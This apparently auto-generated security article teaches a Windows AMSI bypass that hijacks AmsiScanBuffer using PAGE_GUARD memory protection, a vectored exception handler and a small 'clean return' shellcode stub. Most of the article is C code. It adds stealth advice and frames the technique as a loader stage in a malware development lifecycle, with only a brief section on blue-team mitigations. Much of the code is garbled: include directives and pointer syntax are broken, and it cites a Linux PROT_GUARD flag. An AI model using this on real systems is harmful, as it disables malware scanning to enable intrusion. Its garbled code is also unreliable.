Listen to this Post

Introduction:
The Antimalware Scan Interface (AMSI) is a critical Windows security feature designed to scan script and memory content for malicious payloads, posing a significant hurdle for red teams and malware developers. This article explores an advanced bypass technique that manipulates memory guard pages and vectored exception handlers (VEH) to hijack the control flow of the core `AmsiScanBuffer()` function, rendering AMSI inert. Understanding this method is essential for both offensive security professionals testing detection capabilities and blue teams defending against sophisticated in-memory attacks.
Learning Objectives:
- Understand the role of AMSI and the function of `AmsiScanBuffer()` in the Windows security stack.
- Learn how memory protection constants like `PAGE_GUARD` can be weaponized to generate controlled exceptions.
- Master the technique of registering a Vectored Exception Handler to intercept and manipulate the execution flow of a critical security function.
You Should Know:
- AMSI Fundamentals and the Attack Surface of AmsiScanBuffer
The Antimalware Scan Interface is integrated into Windows 10/11 and Server 2016+ to allow applications like PowerShell, VBScript, and .NET CLR to request scans of dynamic content. At its heart is the `AmsiScanBuffer()` function, exported fromamsi.dll. Security products hook this function to analyze buffers before execution. The bypass discussed here does not patch instructions but instead uses legitimate Windows memory management features to redirect execution.
Step-by-Step Guide:
First, understand how to locate and analyze the target function. Using a debugger or tool like WinDbg, you can inspect amsi.dll.
// C code snippet to find AmsiScanBuffer address
HMODULE hAmsi = LoadLibraryW(L"amsi.dll");
FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
printf("AmsiScanBuffer is at: 0x%p\n", pAmsiScanBuffer);
2. Manipulating Memory Protection with PAGE_GUARD
A `PAGE_GUARD` page triggers a one-shot `STATUS_GUARD_PAGE_VIOLATION` exception when accessed. By applying this protection to the memory page containing the beginning of AmsiScanBuffer(), we can force an exception on its first invocation. This is done using the `VirtualProtect()` Windows API call.
Step-by-Step Guide:
The following code changes the memory protection of the target function’s page.
include <windows.h>
include <iostream>
int main() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
void pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// Calculate page boundary
void pPageBase = (void)((ULONG_PTR)pAmsiScanBuffer & ~(sysInfo.dwPageSize - 1));
// Set PAGE_GUARD protection
if (VirtualProtect(pPageBase, sysInfo.dwPageSize, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect)) {
std::cout << "[+] PAGE_GUARD set on AmsiScanBuffer's page.\n";
}
return 0;
}
After this, any call to `AmsiScanBuffer()` will raise a guard page exception.
- Hijacking Control Flow with a Vectored Exception Handler
A Vectored Exception Handler is a user-defined callback that gets first chance at handling exceptions, before structured exception handling (SEH). By registering a VEH, we can catch the `STATUS_GUARD_PAGE_VIOLATION` caused by AMSI’s attempt to scan our buffer. Inside the handler, we can modify the thread’s context (e.g., the instruction pointerRIP/EIP) to jump to a benign return or our own code.
Step-by-Step Guide:
Register a VEH using AddVectoredExceptionHandler. The handler must filter for the guard page exception and then redirect execution.
include <windows.h>
include <iostream>
// The target address we want to jump to (e.g., a function that simply returns AMSI_RESULT_CLEAN)
void redirectAddress = / Address of your bypass function /;
LONG NTAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
// Check if exception address is near our trapped function (optional)
// Redirect the instruction pointer
ifdef _WIN64
pExceptionInfo->ContextRecord->Rip = (DWORD64)redirectAddress;
else
pExceptionInfo->ContextRecord->Eip = (DWORD)redirectAddress;
endif
// Continue execution from the new address
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
int main() {
// Register handler as first in the chain (parameter 1 = 1)
AddVectoredExceptionHandler(1, VectoredExceptionHandler);
// Trigger AMSI scan (e.g., via PowerShell invocation) to test
// The guard page will trigger, and our handler will redirect.
return 0;
}
4. Crafting a Benign Return Path
The handler must redirect to code that mimics a successful, non-detecting scan. `AmsiScanBuffer()` returns an `HRESULT` and populates an `AMSI_RESULT` variable. A common bypass is to force a return of `S_OK` with AMSI_RESULT_CLEAN. This often involves writing a small trampoline in the process memory.
Step-by-Step Guide:
Allocate executable memory and place instructions that set the appropriate return values.
unsigned char cleanReturnShellcode[] = {
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, S_OK (0x00000000)
0xC3 // ret
};
// For x64:
// mov rax, S_OK; ret
void execMem = VirtualAlloc(NULL, sizeof(cleanReturnShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(execMem, cleanReturnShellcode, sizeof(cleanReturnShellcode));
redirectAddress = execMem;
Set `redirectAddress` in your VEH to this allocated memory.
5. Evasion Considerations and Stealth
Directly modifying `PAGE_GUARD` on `amsi.dll` pages is detectable by advanced EDR/AV. To increase stealth, consider:
– Triggering the guard page on a different, less-monitored function that eventually calls AmsiScanBuffer.
– Removing the VEH after successful bypass to clean up.
– Using `NtProtectVirtualMemory` (syscall) instead of `VirtualProtect` to potentially avoid user-space hooks.
Step-by-Step Guide (Linux/Wine Context for Testing):
While AMSI is a Windows mechanism, the concept of guard pages and signal handlers can be studied on Linux. You can use `mprotect()` with `PROT_GUARD` (on supported systems) and `sigaction()` to catch SIGSEGV.
// Linux example for conceptual understanding
include <signal.h>
include <sys/mman.h>
include <stdio.h>
void guarded_page;
void segv_handler(int sig, siginfo_t info, void ucontext) {
if (info->si_addr == guarded_page) {
printf("[+] Guard page accessed. Redirecting.\n");
// Modify ucontext_t->uc_mcontext.gregs[bash] on x64 to redirect
// This is for educational comparison only.
}
}
int main() {
// Setup signal handler for SIGSEGV
struct sigaction sa = {0};
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
// Allocate and set guard page
guarded_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
mprotect(guarded_page, 4096, PROT_READ | PROT_WRITE | PROT_GUARD);
// Access to cause SIGSEGV
// (int)guarded_page = 0;
return 0;
}
6. Defensive Mitigations for Blue Teams
Defenders should monitor for critical `VirtualProtect` calls on `amsi.dll` and `ntdll.dll` regions, especially those adding PAGE_GUARD. Suspicious VEH registrations (AddVectoredExceptionHandler) in process memory are a key indicator. Enable PowerShell logging (ScriptBlock/Module logging) and AMSI integration in all supported applications. EDR solutions should hook low-level memory functions like `NtProtectVirtualMemory` and correlate exceptions with malicious code regions.
7. Integration into a Full Malware Development Lifecycle
This bypass is typically used in the loader stage of an attack chain. After disabling AMSI, subsequent stages like reflective DLL loading or .NET assembly injection can proceed undetected. Test this technique in a controlled environment using frameworks like Cobalt Strike or custom binary loaders. Remember to combine it with other evasion tactics like API unhooking, direct syscalls, and entropy reduction.
What Undercode Say:
- Key Takeaway 1: This technique demonstrates a shift from direct API hooking or patch-based bypasses to abusing legitimate operating system mechanisms (VEH, Guard Pages) for control flow manipulation. It highlights that defenders must monitor not just code modifications but also anomalous memory protection changes and exception handler registrations across all processes.
- Key Takeaway 2: The persistence of the bypass is limited to the process lifetime and requires the VEH to be registered before AMSI is invoked. However, its elegance lies in leaving the original `AmsiScanBuffer()` bytes untouched, making static string or signature-based detection largely ineffective. This arms race pushes defensive solutions towards more sophisticated behavioral analytics focused on process memory telemetry and exception sequence analysis.
Prediction:
This specific guard page technique will likely be quickly detected by leading EDR platforms, leading to a cat-and-mouse game of increasingly obscure exception triggers and handler logic. The future of such bypasses points towards leveraging hardware features (like Intel PT for control flow manipulation detection) or exploiting deeper kernel-mode callbacks. Conversely, Microsoft may respond by hardening `amsi.dll` against `PAGE_GUARD` modifications from user mode or implementing runtime VEH chain integrity checks. Ultimately, offensive research will continue to focus on finding the weakest link in the defensive monitoring stack, moving beyond AMSI to directly target EDR driver callbacks and kernel-protected objects.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sektor7 Institute – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


